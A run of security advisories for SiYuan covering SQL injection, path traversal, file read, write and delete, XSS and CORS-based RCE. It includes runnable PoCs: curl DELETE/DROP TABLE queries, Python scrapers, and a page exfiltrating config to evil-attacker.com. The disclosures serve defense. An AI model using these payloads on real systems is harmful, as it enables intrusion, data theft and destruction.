Summary
In SiYuan, /api/lute/html2BlockDOM on the desktop copies local files pointed to by file:// links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with GET /assets/path, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files.
Details
1. Arbitrary local files copied into workspace
- Endpoint: POST /api/lute/html2BlockDOM, protected only by model.CheckAuth; publish read-only role is not restricted. - Behavior: On desktop (util.ContainerStd == model.Conf.System.Container), local absolute paths from <a href="file://..."> in the HTML are copied to {DataDir}/assets/. - Missing check: The code does not call util.IsSensitivePath(localPath) before copying, so any readable file (e.g. /etc/passwd, ~/.ssh/idrsa) can be copied into assets.
2. Direct access to assets via GET
- Endpoint: GET /assets/path (kernel/server/serve.go), protected only by model.CheckAuth; no publish-scope or admin check. - Behavior: The path is resolved with model.GetAssetAbsPath("assets" + path) and the file is served with http.ServeFile; any authenticated request (including publish visitors) can access existing asset files. - Attack chain: The visitor calls html2BlockDOM to copy a sensitive file into data/assets/, extracts data-href="assets/xxx" from the returned DOM, then requests GET /assets/xxx to retrieve the file content.
PoC
javascript // Run in the browser devtools console while on the SiYuan publish service (async () => { try { // Paths below fall under util.IsSensitivePath prefixes (/etc, c:\windows\system32) const sensitiveFiles = [ 'file:///etc/passwd', 'file:///etc/group', 'file:///C:/Windows/System32/drivers/etc/hosts', 'file:///C:/Windows/System32/drivers/etc/services', ]; const dom = '<p>' + sensitiveFiles.map(f => <a href="${f}">x</a>).join(' ') + '</p>'; const r1 = await fetch('/api/lute/html2BlockDOM', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ dom }), credentials: 'same-origin', }); const { data } = await r1.json(); const paths = [...(data || '').matchAll(/data-href="(assets\/[^"]+)"/g)].map(m => m[1]); for (const p of paths) { const r2 = await fetch('/' + p, { credentials: 'same-origin' }); if (r2.ok) console.log('--- ' + p + ' ---\n' + (await r2.text())); } } catch () {} })();
Impact
With only normal authentication, an attacker can bypass intended directory restrictions and read any sensitive file that the process can read on the desktop user’s machine (e.g. system account data, network configuration, credential configs), compromising confidentiality of sensitive data and the runtime environment.
A SQL injection vulnerability was discovered in Siyuan 3.1.11 in /getHistoryItems.
A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the notebook parameter in /searchHistory.
A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the id parameter at /getAssetContent.
A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the ids array parameter in /batchGetBlockAttrs.
Summary Siyuan's /api/template/renderSprig endpoint is vulnerable to Server-Side Template Injection (SSTI) through the Sprig template engine. Although the engine has limitations, it allows attackers to access environment variables
Impact
Information leakage
Summary A path traversal vulnerability in the /export endpoint allows an attacker to read arbitrary files from the server filesystem. By exploiting double‑encoded traversal sequences, an attacker can access sensitive files such as conf/conf.json, which contains secrets including the API token, cookie signing key, and workspace access authentication code.
Leaking these secrets may enable administrative access to the SiYuan kernel API, and in certain deployment scenarios could potentially be chained into remote code execution (RCE).
Details File: serve.go, session.go Lines: serve.go 303, 315, 320, 340, 955-957; session.go 292-295
Vulnerable Code: // session.go if localhost { if strings.HasPrefix(c.Request.RequestURI, "/assets/") || strings.HasPrefix(c.Request.RequestURI, "/export/") { c.Set(RoleContextKey, RoleAdministrator) c.Next() return } }
// serve.go filePath := strings.TrimPrefix(c.Request.URL.Path, "/export/") decodedPath, err := url.PathUnescape(filePath) fullPath := filepath.Join(exportBaseDir, decodedPath) c.File(fullPath)
// CORS c.Header("Access-Control-Allow-Origin", "")
Points of Vulnerability:
- /export/ trusts url.PathUnescape output and joins it without enforcing fullPath to stay under exportBaseDir. - Double-encoded traversal (%252e%252e) bypasses ServeFile dot-dot URL rejection but is decoded by app logic into ... - CheckAuth grants admin for localhost requests to /export/ when access auth code is set. - Global CORS Access-Control-Allow-Origin: allows hostile web pages to read localhost responses.
PoC
Reproduction Steps:
1. Send a GET request to /export/%252e%252e/%252e%252e/conf/conf.json or export/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
2. If HTTP 200 is returned, inspect the response body for sensitive fields: api.token cookieKey accessAuthCode or /etc/passwd
3. (Optional) If api.token is present, test admin API access: POST /api/system/getNetwork Header: Authorization: Token <leaked token>
4. Confirm that the response indicates administrative privileges. All steps can be performed with read-only HTTP requests; no Docker or local modifications are needed. Impact
This vulnerability can lead to serious compromise of a SiYuan instance, including:
Arbitrary File Disclosure - Attackers can read files anywhere on the server filesystem, including system files such as /etc/passwd.
Exposure of Sensitive Secrets - Configuration files such as conf/conf.json contain sensitive information including: - API tokens - cookie signing keys - workspace authentication codes
Administrative API Access - Leaked tokens can allow attackers to interact with privileged SiYuan kernel APIs.
Cross‑Origin Localhost Data Exfiltration - Because the server sets Access-Control-Allow-Origin: , a malicious website can exploit the vulnerability to read files from a victim's local SiYuan instance running on 127.0.0.1.
Potential Remote Code Execution (RCE) - Disclosure of authentication secrets and internal configuration may enable attackers to chain this vulnerability with other application features or APIs to achieve remote code execution or full system compromise.
Summary
SiYuan Note v3.6.0 (and likely prior versions) contains an authorization bypass vulnerability in the /api/search/fullTextSearchBlock endpoint. When the method parameter is set to 2, the endpoint passes user-supplied input directly as a raw SQL statement to the underlying SQLite database without any authorization or read-only checks. This allows any authenticated user — including those with the Reader role — to execute arbitrary SQL statements (SELECT, DELETE, UPDATE, DROP TABLE, etc.) against the application's database.
This is inconsistent with the application's own security model: the dedicated SQL endpoint (/api/query/sql) correctly requires both CheckAdminRole and CheckReadonly middleware, but the search endpoint bypasses these controls entirely.
Root Cause Analysis
The Vulnerable Endpoint
File: kernel/api/router.go, line 188
go ginServer.Handle("POST", "/api/search/fullTextSearchBlock", model.CheckAuth, fullTextSearchBlock)
This endpoint only applies model.CheckAuth, which permits any authenticated role (Administrator, Editor, or Reader).
The Properly Protected Endpoint (for comparison)
File: kernel/api/router.go, line 177
go ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, SQL)
This endpoint correctly chains CheckAdminRole and CheckReadonly, restricting SQL execution to administrators in read-write mode.
The Vulnerable Code Path
File: kernel/api/search.go, lines 389-411
go func fullTextSearchBlock(c gin.Context) { // ... page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg) blocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize) // ... }
File: kernel/model/search.go, lines 1205-1206
go case 2: // SQL blocks, matchedBlockCount, matchedRootCount = searchBySQL(query, beforeLen, page, pageSize)
When method=2, the raw query string is passed directly to searchBySQL().
File: kernel/model/search.go, lines 1460-1462
go func searchBySQL(stmt string, beforeLen, page, pageSize int) (ret []Block, ...) { stmt = strings.TrimSpace(stmt) blocks := sql.SelectBlocksRawStmt(stmt, page, pageSize)
File: kernel/sql/blockquery.go, lines 566-569, 713-714
go func SelectBlocksRawStmt(stmt string, page, limit int) (ret []Block) { parsedStmt, err := sqlparser.Parse(stmt) if err != nil { return selectBlocksRawStmt(stmt, limit) // Falls through to raw execution } // ... }
func selectBlocksRawStmt(stmt string, limit int) (ret []Block) { rows, err := query(stmt) // Executes arbitrary SQL // ... }
File: kernel/sql/database.go, lines 1327-1337
go func query(query string, args ...interface{}) (sql.Rows, error) { // ... return db.Query(query, args...) // Go's database/sql db.Query — executes ANY SQL }
Go's database/sql db.Query() will execute any SQL statement, including DELETE, UPDATE, DROP TABLE, INSERT, etc. The returned sql.Rows will simply be empty for non-SELECT statements, but the destructive operation is still executed.
Authorization Model
File: kernel/model/session.go, lines 201-210
go func CheckAuth(c gin.Context) { // Already authenticated via JWT if role := GetGinContextRole(c); IsValidRole(role, []Role{ RoleAdministrator, RoleEditor, RoleReader, // <-- Reader role passes CheckAuth }) { c.Next() return } // ... }
File: kernel/model/session.go, lines 380-386
go func CheckAdminRole(c gin.Context) { if IsAdminRoleContext(c) { c.Next() } else { c.AbortWithStatus(http.StatusForbidden) // <-- This check is MISSING on the search endpoint } }
Proof of Concept
Prerequisites - SiYuan instance accessible over the network (e.g., Docker deployment) - Valid authentication as any user role (including Reader)
Steps to Reproduce
1. Authenticate to SiYuan and obtain a valid session cookie or API token.
2. Read all data (confidentiality breach): bash curl -X POST http://<target>:6806/api/search/fullTextSearchBlock \ -H "Content-Type: application/json" \ -H "Authorization: Token <readertoken>" \ -d '{"method": 2, "query": "SELECT FROM blocks LIMIT 100"}'
3. Delete all blocks (integrity/availability breach): bash curl -X POST http://<target>:6806/api/search/fullTextSearchBlock \ -H "Content-Type: application/json" \ -H "Authorization: Token <readertoken>" \ -d '{"method": 2, "query": "DELETE FROM blocks"}'
4. Drop tables (availability breach): bash curl -X POST http://<target>:6806/api/search/fullTextSearchBlock \ -H "Content-Type: application/json" \ -H "Authorization: Token <readertoken>" \ -d '{"method": 2, "query": "DROP TABLE blocks"}'
5. Compare with the properly protected endpoint (should return HTTP 403 for Reader role): bash curl -X POST http://<target>:6806/api/query/sql \ -H "Content-Type: application/json" \ -H "Authorization: Token <readertoken>" \ -d '{"stmt": "SELECT FROM blocks LIMIT 10"}'
Expected Behavior The search endpoint should reject SQL execution for non-admin users, or at minimum enforce read-only access, consistent with /api/query/sql.
Actual Behavior Any authenticated user (including Reader role) can execute arbitrary SQL including destructive operations.
Impact
In a multi-user deployment (e.g., Docker with published access, or any network-accessible instance with access authorization code):
- Confidentiality: A Reader-role user can read all data in the SQLite database, including blocks, assets, references, and configuration data they should not have access to. - Integrity: A Reader-role user can modify or delete any data in the database, despite having read-only access by design. - Availability: A Reader-role user can drop tables or corrupt the database, rendering the application unusable.
Suggested Fix
Add CheckAdminRole and CheckReadonly middleware to the search endpoint, or add explicit validation that only SELECT statements are accepted when method=2:
Option A — Restrict method=2 to admin (recommended):
In kernel/api/search.go, add a role check when method=2:
go func fullTextSearchBlock(c gin.Context) { // ... page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg)
// SQL mode requires admin privileges, consistent with /api/query/sql if method == 2 && !model.IsAdminRoleContext(c) { ret.Code = -1 ret.Msg = "SQL search requires administrator privileges" return } // ... }
Option B — Enforce SELECT-only for non-admin users:
Validate the parsed SQL to ensure only SELECT statements are executed when the user is not an administrator.
Details
Document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.
PoC
python #!/usr/bin/env python3 """SiYuan /api/block/getChildBlocks 文档内容读取""" import requests import json import sys
def getchildblocks(targeturl, docid): """ 调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容 """ url = f"{targeturl.rstrip('/')}/api/block/getChildBlocks" headers = { "Content-Type": "application/json" } data = { "id": docid } try: response = requests.post(url, json=data, headers=headers, timeout=10) response.raiseforstatus() result = response.json() if result.get("code") != 0: print(f"[-] 请求失败: {result.get('msg', '未知错误')}") return None return result.get("data") except requests.exceptions.RequestException as e: print(f"[-] 网络请求失败: {e}") return None except json.JSONDecodeError as e: print(f"[-] JSON解析失败: {e}") return None
def formatblockcontent(block): """格式化块内容""" content = "" # 获取块内容 if isinstance(block, dict): # 尝试多种可能的字段 md = block.get("markdown", "") or block.get("content", "") or "" if md: content = md.strip() return content
def main(): """主函数""" if len(sys.argv) > 1: targeturl = sys.argv[1] else: targeturl = input("请输入 SiYuan 服务地址 (例如: http://localhost:6806): ").strip() if not targeturl: targeturl = "http://localhost:6806" print(f"目标地址: {targeturl}") print("=" 50) while True: print("\n" + "=" 50) docid = input("请输入文档ID (输入 'quit' 或 'exit' 退出): ").strip() if docid.lower() in ['quit', 'exit', 'q']: print("程序退出") break if not docid: print("[-] 文档ID不能为空") continue print(f"\n[] 正在读取文档: {docid}") blocks = getchildblocks(targeturl, docid) if blocks is None: print("[-] 获取文档内容失败") continue if not blocks: print(f"[!] 文档 {docid} 没有子块或为空") continue print(f"[+] 成功获取 {len(blocks)} 个子块") print("-" 50) # 保存所有块内容 allblockscontent = [] for i, block in enumerate(blocks, 1): content = formatblockcontent(block) if content: print(content[:200] + ("..." if len(content) > 200 else "")) allblockscontent.append({ "index": i, "content": content, "rawblock": block }) # 询问是否保存到文件 savechoice = input("\n是否保存到文件? (y/N): ").strip().lower() if savechoice in ['y', 'yes']: filename = f"doc{docid}blocks.json" try: with open(filename, "w", encoding="utf-8") as f: json.dump({ "docid": docid, "blockcount": len(blocks), "blocks": allblockscontent }, f, ensureascii=False, indent=2) print(f"[+] 已保存到: {filename}") except Exception as e: print(f"[-] 保存失败: {e}") print("-" 50)
if name == "main": main()
<img width="1492" height="757" alt="image" src="https://github.com/user-attachments/assets/2e08a286-dceb-4fd5-87d5-44f39983dcbc" />
Impact
File reading: All encrypted or prohibited documents under the publishing service could be read.
Details
The /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.
PoC
python #!/usr/bin/env python3 """POC: SiYuan /api/file/readDir 未鉴权目录遍历""" import requests, json, sys
def poc(target): base = target.rstrip("/") url = f"{base}/api/file/readDir"
def readdir(path, depth=0, maxdepth=4): try: r = requests.post(url, json={"path":path}, headers={"Content-Type":"application/json"}, timeout=10) data = r.json() except Exception as e: return if data.get("code") != 0: return
entries = data.get("data") or [] for entry in entries: name = entry.get("name","") if name.startswith("."): continue icon = "📁" if entry.get("isDir") else "📄" indent = " " depth print(f" {indent}{icon} {name}")
if entry.get("isDir") and depth < maxdepth: readdir(f"{path}/{name}", depth+1, maxdepth)
# 遍历根目录 print("[+] 漏洞存在!开始遍历\n") print(" 📂 data/") readdir("data", maxdepth=2)
print("\n 📂 conf/") readdir("conf", maxdepth=2)
# 保存 try: r = requests.post(url, json={"path":"data"}, headers={"Content-Type":"application/json"}, timeout=10) with open("readdir.json","w",encoding="utf-8") as f: json.dump(r.json(), f, ensureascii=False, indent=2) print(f"\n[+] 根目录数据已保存: readdir.json") except: pass
if name == "main": poc(sys.argv[1] if len(sys.argv)>1 else "http://172.18.40.184")
Impact
Directory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.
资源文件夹
<img width="943" height="794" alt="image" src="https://github.com/user-attachments/assets/c97fcc42-183e-4c83-8a27-cf99bf805038" />
插件文件夹
<img width="826" height="921" alt="image" src="https://github.com/user-attachments/assets/925d4512-e4c0-4b3b-bf96-5639ec572705" />
conf文件夹
<img width="730" height="834" alt="image" src="https://github.com/user-attachments/assets/2a0c23b9-2d87-4421-977d-687f47726741" />
Summary
A malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: + Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.
Details
Vulnerable files: - kernel/server/serve.go, lines 960-963 — CORS middleware - kernel/api/snippet.go, lines 93-128 — snippet injection endpoint
Root cause: The CORS middleware unconditionally sets: Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Access-Control-Allow-Private-Network: true
The Access-Control-Allow-Private-Network: true header explicitly opts into Chrome's Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with Access-Control-Allow-Origin: , any website on the internet can make authenticated cross-origin requests to the SiYuan API at 127.0.0.1:6806.
The auth middleware at kernel/model/session.go:251-280 checks the Origin header, but this check is bypassed because the browser sends the session cookie (set on 127.0.0.1) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.
Attack chain: 1. User visits https://evil-attacker.com while SiYuan desktop is running 2. Malicious JS sends CORS preflight to http://127.0.0.1:6806 — SiYuan responds with permissive CORS headers 3. Browser sends actual POST to /api/snippet/setSnippet with the user's session cookie 4. SiYuan accepts the request and saves a malicious JS snippet 5. The snippet executes in Electron's renderer process with Node.js integration, achieving arbitrary code execution
PoC
Malicious webpage (hosted on any domain):
html <!DOCTYPE html> <html> <body> <h1>Innocent looking page</h1> <script> // Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js fetch('http://127.0.0.1:6806/api/snippet/setSnippet', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ snippets: [{ id: 'exploit-' + Date.now(), name: 'system-update', type: 'js', content: 'require("childprocess").exec("id > /tmp/siyuan-rce-proof")', enabled: true }] }) }).then(r => r.json()).then(d => { console.log('Snippet injected:', d); });
// Step 2 (optional): Exfiltrate API token and all notes fetch('http://127.0.0.1:6806/api/system/getConf', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json'} }).then(r => r.json()).then(d => { // Send API token and config to attacker server fetch('https://evil-attacker.com/collect', { method: 'POST', body: JSON.stringify(d.data) }); }); </script> </body> </html>
Verification steps:
1. Start SiYuan desktop (or Docker with SIYUANACCESSAUTHCODE set) 2. Login to SiYuan in a browser to establish a session cookie 3. In the same browser, navigate to the malicious page 4. Verify snippet was injected: bash curl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \ -H "Content-Type: application/json" \ -b <session-cookie> \ -d '{"type":"all","enabled":2}'
Tested and confirmed on SiYuan v3.6.1 (Docker). The CORS preflight returns permissive headers, the snippet is injected from Origin: https://evil-attacker.com, and the API token is exfiltrated — all in a single page load.
Impact
- Remote Code Execution: Any website can execute arbitrary OS commands on the user's machine via Electron's Node.js integration. The attacker gains full control with the user's privileges. - Data exfiltration: The attacker can read all notes, configuration (including API tokens), and workspace data via the API before the RCE payload even triggers. - No user interaction beyond browsing: The victim only needs to visit a malicious/compromised webpage while SiYuan is running. No clicks, no downloads, no permissions dialogs. - Affects all desktop users: SiYuan desktop runs on 127.0.0.1:6806 by default. The Access-Control-Allow-Private-Network: true header explicitly bypasses Chrome's Private Network Access protection that would otherwise block this attack. - Persistence: The injected JS snippet is saved to disk and executes every time SiYuan loads, surviving restarts.
SiYuan is a personal knowledge management system. Versions prior to 3.5.4 have a stored Cross-Site Scripting (XSS) vulnerability that allows an attacker to inject arbitrary HTML attributes into the icon attribute of a block via the /api/attr/setBlockAttrs API. The payload is later rendered in the dynamic icon feature in an unsanitized context, leading to stored XSS and, in the desktop environment, potential remote code execution (RCE). This issue bypasses the previous fix for issue #15970 (XSS → RCE via dynamic icons). Version 3.5.4 contains an updated fix.
Summary An unauthenticated reflected XSS vulnerability exists in the dynamic icon API endpoint:
- GET /api/icon/getDynamicIcon
When type=8, attacker-controlled content is embedded into SVG output without escaping. Because the endpoint is unauthenticated and returns image/svg+xml, a crafted URL can inject executable SVG/HTML event handlers (for example onerror) and run JavaScript in the SiYuan web origin.
This can be chained to perform authenticated API actions and exfiltrate sensitive data when a logged-in user opens the malicious link.
Details The issue is caused by unsafe output construction and incomplete sanitization:
1. Endpoint is exposed without auth middleware - Source: https://github.com/siyuan-note/siyuan/blob/master/kernel/api/router.go#L27-L37 - GET /api/icon/getDynamicIcon is registered in the unauthenticated section.
2. User input is inserted into SVG via string formatting - Source: https://github.com/siyuan-note/siyuan/blob/master/kernel/api/icon.go#L115-L175 - Source: https://github.com/siyuan-note/siyuan/blob/master/kernel/api/icon.go#L537-L585 - In generateTypeEightSVG, %s directly injects content into <text>...</text> without XML/HTML escaping.
3. Sanitizer only removes <script> tags - Source: https://github.com/siyuan-note/siyuan/blob/master/kernel/util/misc.go#L235-L281 - RemoveScriptsInSVG removes <script> nodes, but does not remove dangerous attributes (onerror, onload, etc.) or unsafe elements.
As a result, payloads such as </text><image ... onerror=...><text> survive and execute.
PoC
Minimal browser execution PoC Open this URL in a browser:
http GET /api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Cimage%20href%3Dx%20onerror%3Dalert(document.domain)%3E%3C%2Fimage%3E%3Ctext%3E
Example full URL:
text http://127.0.0.1:6806/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Cimage%20href%3Dx%20onerror%3Dalert(document.domain)%3E%3C%2Fimage%3E%3Ctext%3E
Expected result:
- JavaScript executes (alert(document.domain)), confirming reflected XSS.
Authenticated impact demonstration If a victim is authenticated in the same browser session, JavaScript running in origin can call privileged APIs and exfiltrate returned data.
Impact This is a reflected XSS in an unauthenticated endpoint, with realistic account/data compromise impact:
- Arbitrary JavaScript execution in SiYuan web origin. - Authenticated action abuse via same-origin API calls. - Sensitive data exposure (notes/config/API responses) from victim context. - Potential chained server-impact actions depending on victim privileges and deployment mode.
SanitizeSVG bypass via data:text/xml in getDynamicIcon (incomplete fix for CVE-2026-29183)
SanitizeSVG blocks data:text/html and data:image/svg+xml in href attributes but misses data:text/xml and data:application/xml. Both render SVG with onload JavaScript execution (confirmed in Chromium 136, other browsers untested).
/api/icon/getDynamicIcon is unauthenticated and serves SVG as Content-Type: image/svg+xml. The content parameter (type=8) gets embedded into the SVG via fmt.Sprintf with no escaping. The sanitizer catches data:text/html but data:text/xml passes the blocklist -- only three MIME types are checked.
This is a click-through XSS: victim visits the crafted URL, sees an SVG with an injected link, clicks it. If SiYuan renders these icons via <img> tags in the frontend, links aren't interactive there -- the attack needs direct navigation to the endpoint URL or <object>/<embed> embedding.
Steps to reproduce
Against SiYuan v3.6.0 (Docker):
sh 1. data:text/xml bypass -- <a> element preserved with href intact curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \ --data-urlencode 'type=8' \ --data-urlencode 'content=</text><a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">click</a><text>' \ | grep -o '<a [^>]>' Output: <a href="data:text/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(document.domain)%27/%3E">
2. data:text/html is correctly blocked -- href stripped curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \ --data-urlencode 'type=8' \ --data-urlencode 'content=</text><a href="data:text/html,<script>alert(1)</script>">click</a><text>' \ | grep -o '<a [^>]>' Output: <a> (href removed)
3. data:application/xml also bypasses curl -s --get "http://127.0.0.1:6806/api/icon/getDynamicIcon" \ --data-urlencode 'type=8' \ --data-urlencode 'content=</text><a href="data:application/xml,%3Csvg xmlns=%27http://www.w3.org/2000/svg%27 onload=%27alert(1)%27/%3E">click</a><text>' \ | grep -o '<a [^>]>' Output: <a href="data:application/xml,..."> (href preserved)
JS execution confirmed in Chromium 136 -- data:text/xml SVG onload fires and posts a message to the parent window via iframe test.
Vulnerable code
kernel/util/misc.go lines 289-293:
go if strings.HasPrefix(val, "data:") { if strings.Contains(val, "text/html") || strings.Contains(val, "image/svg+xml") || strings.Contains(val, "application/xhtml+xml") { continue } }
text/xml and application/xml aren't in the list. Both serve SVG with JS execution.
Impact
Reflected XSS on an unauthenticated endpoint. Victim visits the crafted URL, then clicks the injected link in the SVG. No auth needed to craft the URL.
Docker deployments where SiYuan is network-accessible are the clearest target -- the endpoint is reachable directly. In the Electron desktop app, impact depends on nodeIntegration/contextIsolation settings. Issue #15970 ("XSS to RCE") explored that path.
The deeper issue: the blocklist approach for data: URIs is fragile. text/xml and application/xml are the gap today, but other MIME types that render active content could surface. An allowlist of safe image types covers the known vectors and future MIME type additions.
Affected versions
v3.6.0 (latest, confirmed). All versions since SanitizeSVG was added to fix CVE-2026-29183.
Suggested fix
Flip the data: URI check to an allowlist -- only permit safe image types in href:
go if strings.HasPrefix(val, "data:") { safe := strings.HasPrefix(val, "data:image/png") || strings.HasPrefix(val, "data:image/jpeg") || strings.HasPrefix(val, "data:image/gif") || strings.HasPrefix(val, "data:image/webp") if !safe { continue } }
If you prefer extending the blocklist, add at minimum: text/xml, application/xml, text/xsl, and multipart/ types.
Summary A arbitrary file deletion vulnerability has been identified in the latest version of Siyuan Note. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server.
Details The vulnerability can be reproduced by sending a crafted request to the /api/history/getDocHistoryContent endpoint.
Sending a request to the /api/history/getDocHistoryContent like:
curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<absfilepathofafile>"}'
Replace <absfilepathofafile> with the absolute file path of the target file you wish to delete.
The historyPath parameter in the payload is processed by the func getDocHistoryContent in api/history.go:133.
In turn, historyPath is passed to the func GetDocHistoryContent located in model/history.go:150 , which is the slink of the vulnerability.
if historyPath exists and does not satisfy the filesys.ParseJSONWithoutFix, then it will be deleted by os.RemoveAll
go func GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) { if !gulu.File.IsExist(historyPath) { logging.LogWarnf("doc history [%s] not exist", historyPath) return }
data, err := filelock.ReadFile(historyPath) if err != nil { logging.LogErrorf("read file [%s] failed: %s", historyPath, err) return } isLargeDoc = 102410241 <= len(data)
luteEngine := NewLute() historyTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions) if err != nil { logging.LogErrorf("parse tree from file [%s] failed, remove it", historyPath) os.RemoveAll(historyPath) return } ... }
PoC curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<absfilepathofafile>"}'
Impact arbitrary file deletion vulnerability
Summary
The /api/file/copyFile endpoint does not validate the dest parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorizedkeys, or shell configuration files.
- Affected Version: 3.5.3 (and likely all prior versions)
Details
- Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22) - Location: kernel/api/file.go - copyFile function
go // kernel/api/file.go lines 94-139 func copyFile(c gin.Context) { // ... src := arg["src"].(string) src, err := model.GetAssetAbsPath(src) // src is validated // ...
dest := arg["dest"].(string) // dest is NOT validated! if err = filelock.Copy(src, dest); err != nil { // ... } }
The src parameter is properly validated via model.GetAssetAbsPath(), but the dest parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.
PoC
Step 1: Upload malicious content to workspace
bash curl -X POST "http://target:6806/api/file/putFile" \ -H "Authorization: Token <APITOKEN>" \ -F "path=/data/assets/malicious.sh" \ -F "file=@-;filename=malicious.sh" <<< '#!/bin/sh id > /tmp/pwned.txt hostname >> /tmp/pwned.txt'
Step 2: Copy to arbitrary location (e.g., /tmp)
bash curl -X POST "http://target:6806/api/file/copyFile" \ -H "Authorization: Token <APITOKEN>" \ -H "Content-Type: application/json" \ -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'
Response: {"code":0,"msg":"","data":null}
Step 3: Verify file was written outside workspace
bash cat /tmp/malicious.sh Output: #!/bin/sh id > /tmp/pwned.txt hostname >> /tmp/pwned.txt
Attack Scenarios
| Target Path | Impact | |-------------|--------| | /etc/cron.d/backdoor | Scheduled command execution (RCE) | | ~/.ssh/authorizedkeys | Persistent SSH access | | ~/.bashrc | Command execution on user login | | /etc/ld.so.preload | Shared library injection |
RCE Demonstration
RCE was successfully demonstrated by writing a script and executing it:
bash Write script to /tmp curl -X POST "http://target:6806/api/file/copyFile" \ -H "Authorization: Token <APITOKEN>" \ -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'
Execute (simulating cron or login trigger) sh /tmp/malicious.sh
Result cat /tmp/pwned.txt uid=0(root) gid=0(root) groups=0(root)...
Impact
An authenticated attacker (with API Token) can: 1. Achieve Remote Code Execution with the privileges of the SiYuan process 2. Establish persistent backdoor access via SSH keys 3. Compromise the entire host system 4. Access sensitive data on the same network (lateral movement)
Suggested Fix
Add path validation to ensure dest is within the workspace directory:
go func copyFile(c gin.Context) { // ... dest := arg["dest"].(string)
// Add validation if !util.IsSubPath(util.WorkspaceDir, dest) { ret.Code = -1 ret.Msg = "dest path must be within workspace" return }
if err = filelock.Copy(src, dest); err != nil { // ... } }
Solution
d7f790755edf8c78d2b4176171e5a0cdcd720feb
Summary POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory — including system paths that enable RCE.
Details File: kernel/api/import.go — functions importSY and importZipMd
go file := files[0]
// ❌ file.Filename comes from the HTTP multipart header — fully user-controlled writePath := filepath.Join(util.TempDir, "import", file.Filename) // e.g. TempDir=/siyuan/workspace/temp, file.Filename="../../data/evil" // → writePath = /siyuan/workspace/data/evil (escapes temp/import/)
writer, err := os.OpenFile(writePath, os.ORDWR|os.OCREATE, 0644)
importZipMd has a second traversal in unzipPath construction: go filenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename)) unzipPath := filepath.Join(util.TempDir, "import", filenameMain) gulu.Zip.Unzip(writePath, unzipPath) // unzipPath also escapes TempDir
filepath.Join calls filepath.Clean internally, but cleaning happens after concatenation — sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.
PoC Environment: bash docker run -d --name siyuan -p 6806:6806 \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
Exploit: python import requests, zipfile, io
HOST = "http://localhost:6806" TOKEN = "YOURADMINTOKEN" # from Settings → About → API Token
Create a valid .sy.zip payload buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as z: z.writestr("TestNB/20240101000000-abcdefg.sy", '{"ID":"20240101000000-abcdefg","Spec":"1","Type":"NodeDocument","Children":[]}') z.writestr("TestNB/.siyuan/sort.json", "{}") buf.seek(0)
Traversal filename — Python requests does NOT sanitize ../ r = requests.post(f"{HOST}/api/import/importSY", headers={"Authorization": f"Token {TOKEN}"}, files={"file": ("../../data/TRAVERSALPROOF.zip", buf.read(), "application/zip")}, data={"notebook": "YOURNOTEBOOKID", "toPath": "/"})
